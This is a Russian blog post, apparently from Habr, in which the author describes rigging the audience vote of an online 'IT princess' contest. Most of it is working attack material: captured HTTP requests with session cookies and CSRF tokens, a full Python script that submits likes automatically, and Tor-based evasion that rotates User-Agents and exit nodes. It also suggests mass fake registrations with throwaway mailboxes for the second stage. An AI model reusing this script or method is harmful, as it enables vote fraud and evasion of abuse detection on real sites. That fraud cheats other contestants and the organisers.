Каждая девочка мечтает стать принцессой, быть самой красивой, самой умной и обязательно встретить принца. Множество маркетологов и PR-акул обогатили свои компании, играя на этих простых девичьих мечтах. Сферу IT, мужскую и брутальную, это явление тоже не обошло стороной. Известная компания запустила громкий конкурс на звание титула IT-принцессы. Всех, кто слышал и кому интересно, как оно было, приглашаю под кат.
В конкурсе было заявлено 3 этапа. Я расскажу про первый.
1. Регистрация участниц и голосование за приз зрительских симпатий
Чтобы принять участие в конкурсе достаточно выбрать миленькую фоточку и… и всё. Порог вхождения для участия — нулевой. Приз зрительских симпатия в виде корзинки косметики получает леди, набравшая больше всего лайков. Привлекать живой трафик и засорять социалки бесконечными репостами — это не удел принцесс, так что запускаем Burp и смотрим, как оно все устроено.
На странице для голосования (/itprincess/gallery/) отражается 6 участниц и дальше при прокрутке с каждым ajax-запросом загружается еще по 6. Голосование осуществляется post-запросом c ID нужной участницы, но он не фиксированный и генерируется для каждой новой пользовательской сессии.
Примеры запроса на страницы для голосования:
GET /itprincess/gallery/ HTTP/1.1 Host: it.mail.ru User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: csrftoken=t4XRJ4J4EJYLqzVhL22pzHvPynzKkhMz; sessionid=jxtr3fljir54b9qn2liyl71tohr6n5ff; Connection: keep-alive
По факту, в поле Cookie указано больше параметров, но они не имеют никакого значения для голосования, я их убрала.
Пример отправки лайка:
POST /itprincess/gallery/2 HTTP/1.1 Host: it.mail.ru User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://it.mail.ru/itprincess/gallery/ Content-Length: 52 Cookie: csrftoken=u7lS6UIww7Eppq9HVD66iS7i4ss6SO04; sessionid=sln1o1pivi5sl7mgezdqa8p6us59jhek Connection: keep-alive csrfmiddlewaretoken=u7lS6UIww7Eppq9HVD66iS7i4ss6SO04
Что ж, пишем лайк-машину. Все, что нужно — это отправлять запросы, парсить html-страницы с ответом сервера и искать мой ID. Для парсинга использовался фреймворк BeautifulSoup. Потом я подумала, что лайк-машину быстро спалят и нужно на каждом запросе менять User-Agent и IP-адрес. Тут я, конечно, сильно заморочилась, хотя по факту организаторы и не думали отслеживать накрутку лайков.
Функция def get_ua() проходит по файлику со списком user-agent (там порядка 300 значений) и выбирает 1 рандомно. Для того, чтобы организовать работу с Тором, понадобилось 2 библиотеки: requesocks — позволяет работать библиотеке request через socks-прокси и stem — позволяет контролировать смену ноды (на каждый новый запрос — новый ip-шник).
Мой скрипт (я написала его за 2 часа, и, безусловно, тут можно много оптимизировать и украшательствовать):
# -*- coding: UTF-8 -*- import sys import urllib2 import requests import requesocks as requests import time import random from random import randint #for tor sent signal from stem import Signal from stem.control import Controller #for parsing html from BeautifulSoup import BeautifulSoup url = 'https://it.mail.ru/itprincess/gallery/' proxy = { 'http': 'socks5://127.0.0.1:9050', 'https': 'socks5://127.0.0.1:9050', } while 1: def get_ua(): f = open('ualist.txt', 'rb') agents = f.readlines() return random.choice(agents).strip() ua=get_ua() headers_get = { 'User-agent': ua, 'Referer':'https://it.mail.ru/itprincess/gallery/' } headers_post = { 'User-agent': ua, 'Referer':'https://it.mail.ru/itprincess/gallery/', 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' } r = requests.get(url, headers=headers_get, proxies=proxy, verify=False) #с POST-запросом требуется передача csrf-токена, поэтому сразу зафиксируем его data = 'csrfmiddlewaretoken='+r.cookies['csrftoken'] #получаем содержимое ответа сервера на запрос soup = BeautifulSoup(r.content) #единственная уникальная информация, которая есть для каждой участницы - это ответ на вопрос, что для нее значит сфера IT - по этой строчке и будем искать my_title = soup.find(title=u"строка обо мне") if my_title: # получаем id для меня id=my_title.parent.get('id') print id url_post = "https://it.mail.ru/itprincess/gallery/"+str(id) s = requests.post(url_post, headers=headers_post, cookies=r.cookies, data=data, proxies=proxy, verify=False) continue else : print 1 # с помощью Контроллера, запущенного на 9051 порту посылаем тору сигнал о смене ноды # кстати, сам скрипт нужно запускать от root, потому как иначе stem выбрасывает exception with Controller.from_port(port = 9051) as controller: controller.authenticate("16:872******************") controller.signal(Signal.NEWNYM) time.sleep(5)
Чтобы запустить Контроллер необходимо установить параметр ControlPort в /etc/tor/torrc файле:
ControlPort 9051 ## If you enable the controlport, be sure to enable one of these ## authentication methods, to prevent attackers from accessing it. HashedControlPassword 16:872*************
А затем перезапустить Тор:
/etc/init.d/tor restart
После закрытия голосования 1-го этапа возможность ставить лайки через веб-морду пропала, но мой скрипт спокойно продолжал работать и накручивать. По-моему, они это заметили и закрыли только через 2 дня.
На втором этапе конкурса условия слегка изменились, но баги остались те же.
2. Голосование зарегистрированных участников
Веб-приложение для конкурса написано на Python/Django, и тут встретилась его типичная фича — при регистрации пользователь автоматически авторизуется, т.е. без необходимости подтверждения почты. Это значит, что по сути можно отправить любые регистрационные данные (Имя/Фамилия пользователя, почта и пароль) и сразу перейти к голосованию. Данные регистрации отправляются через multipart/form-data и как заполнять эти данные через python легко гуглится.
Кстати, на случай, если бы конкурс был сделан по уму и разработчики предусмотрели необходимость подтверждения почты перед голосованием, для сервиса временной почты Guerilla Mail есть отличный python-клиент, да и вообще у них открытый API, так что реализация может быть на чем угодно.
Почему я не продолжила парсить и лайкать? В отличие от первого этапа, на интерфейс не выводилось количество набранных лайков. А такой развод уже точно не для принцесс.
ссылка на оригинал статьи https://habrahabr.ru/post/282005/
Добавить комментарий